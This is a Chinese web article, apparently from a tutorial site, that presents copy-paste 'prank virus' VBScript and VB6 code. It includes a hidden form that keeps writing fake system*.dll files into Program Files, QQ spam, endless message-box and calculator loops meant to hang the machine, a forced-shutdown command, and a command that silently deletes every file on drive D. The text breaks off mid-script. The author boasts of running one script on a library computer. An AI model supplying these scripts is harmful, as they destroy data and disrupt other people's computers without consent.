bat整人电脑病毒代码是怎样的
bat整人电脑病毒代码是怎样的
现在流行的病毒是由人为故意编写的，多数病毒可以找到作者和产地信息，从大量的统计分析来看，病毒作者主要情况和目的是：一些天才的程序员为了表现自己和证明自己的能力，出于对上司的不满，为了好奇，为了报复，为了祝贺和求爱，为了得到控制口令，为了软件拿不到报酬预留的陷阱等.当然也有因政治，军事，宗教，民族.专利等方面的需求而专门编写的，其中也包括一些病毒研究机构和黑客的测试病毒.以下是学习啦网小编为大家整理的关于bat整人电脑病毒代码的相关知识，希望对大家有所帮助!
vbs整人代码
代码如下：
复制代码 代码如下:
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'声明变量，其中“count”为静态变量，以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
学习啦在线学习网 '定义要把生成的文件存放在那个目录文件下
c = "C:\Program Files\"
'生成文件的内容
学习啦在线学习网 nr = "哈哈，被黑的感觉的不错吧"
学习啦在线学习网 files = FreeFile
'如果a等于a那么就执行
学习啦在线学习网 If a = a Then
学习啦在线学习网 'count不断的加1，以便产生不同的文件名
count = count + 1
学习啦在线学习网 '产生文件名及文件句柄，并用count作为产生不同的文件名。
Open c & "system" & count & ".dll" For Append As #files
学习啦在线学习网 '向文件写内容
学习啦在线学习网 Write #files, nr
'清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示
Close #files
End If
End Sub
学习啦在线学习网 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).
xx.vbs=>
学习啦在线学习网 复制代码 代码如下:
学习啦在线学习网 On Error Resume Next
学习啦在线学习网 Dim wsh,ye
学习啦在线学习网 set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
学习啦在线学习网 wsh.AppActivate("与 xx 聊天中")
学习啦在线学习网 wsh.sendKeys "^v"
学习啦在线学习网 wsh.sendKeys i
wsh.sendKeys "%s"
next
学习啦在线学习网 wscript.quit
QQ骚扰信息,也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------
do
学习啦在线学习网 msgbox "You are foolish!"
loop
学习啦在线学习网 ------------------------------------------------------------------------------
三、打开无数个计算器，直到死机
------------------------------------------------------------------------------
学习啦在线学习网 set wsh=createobject("wscript.shell")
do
学习啦在线学习网 wsh.run "calc"
loop
-----------------------------------------------------------------------------
四、直接关机
学习啦在线学习网 -----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
学习啦在线学习网 -----------------------------------------------------------------------------
学习啦在线学习网 五、删除D:\所有文件
学习啦在线学习网 ---------------------------------------------------------------------------
学习啦在线学习网 dim WSHshell
学习啦在线学习网 set WSHshell = wscript.createobject("wscript.shell")
学习啦在线学习网 WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
学习啦在线学习网 ----------------------------------------------------------------------------
六、不断弹出窗口
学习啦在线学习网 ----------------------------------------------------------------------------
复制代码 代码如下:
while(1)
学习啦在线学习网 msgbox "哈哈 你被耍了!"
loop
学习啦在线学习网 ----------------------------------------------------------------------------
学习啦在线学习网 七、不断按下alt+f4 (开什么都关闭……)
学习啦在线学习网 --------------------
1/5
学习啦在线学习网 -------------------------------------------------------
复制代码 代码如下:
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
学习啦在线学习网 WSHshell.SendKeys "%{F4}"
loop
八、按500次回车
(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)
学习啦在线学习网 复制代码 代码如下:
dim s
学习啦在线学习网 do until s=500
s=s+1
学习啦在线学习网 msgbox "哥们，给我按500次回车吧",64
loop
学习啦在线学习网 '------------------------ ------------------------------------------------------------
九、关不掉的窗口
学习啦在线学习网 复制代码 代码如下:
WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉!"&TSName)
WScript.Echo("你是可爱的小朋吗?")
WScript.Echo("哈,我想你拉，这你都不知道吗?")
WScript.Echo("怎么才来，说~是不是不关心我")
学习啦在线学习网 WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
学习啦在线学习网 WScript.Echo("小强很生气，后果很严重哦。")
WScript.Echo("嘿嘿!你也会很惨滴哦")
WScript.Echo("是不是想清除我?")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
学习啦在线学习网 WScript.Echo("还剩48下，快点，小笨蛋!")
WScript.Echo("还剩47下对，就这样快点点!")
WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")
WScript.Echo("还剩45下，记得要快哦!")
WScript.Echo("还剩43下")
学习啦在线学习网 WScript.Echo("还剩42下")
学习啦在线学习网 WScript.Echo("还剩41下")
学习啦在线学习网 WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
学习啦在线学习网 WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
学习啦在线学习网 WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
学习啦在线学习网 WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
学习啦在线学习网 WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
学习啦在线学习网 WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
学习啦在线学习网 WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
学习啦在线学习网 WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
学习啦在线学习网 WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停!!!慢点，我有话要说")
学习啦在线学习网 WScript.Echo("还剩12下，你继续点我就会消失滴")
WScript.Echo("还剩11下，以后就看不到我拉。555555")
WScript.Echo("还剩10下，你现在可以选择停止!")
学习啦在线学习网 WScript.Echo("还剩9下。你还点啊，不要我拉?")
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")
学习啦在线学习网 WScript.Echo("还剩7下。疯了，你有点负意!")
WScript.Echo("还剩6下。对。你就点吧，我恨你!")
WScript.Echo("还剩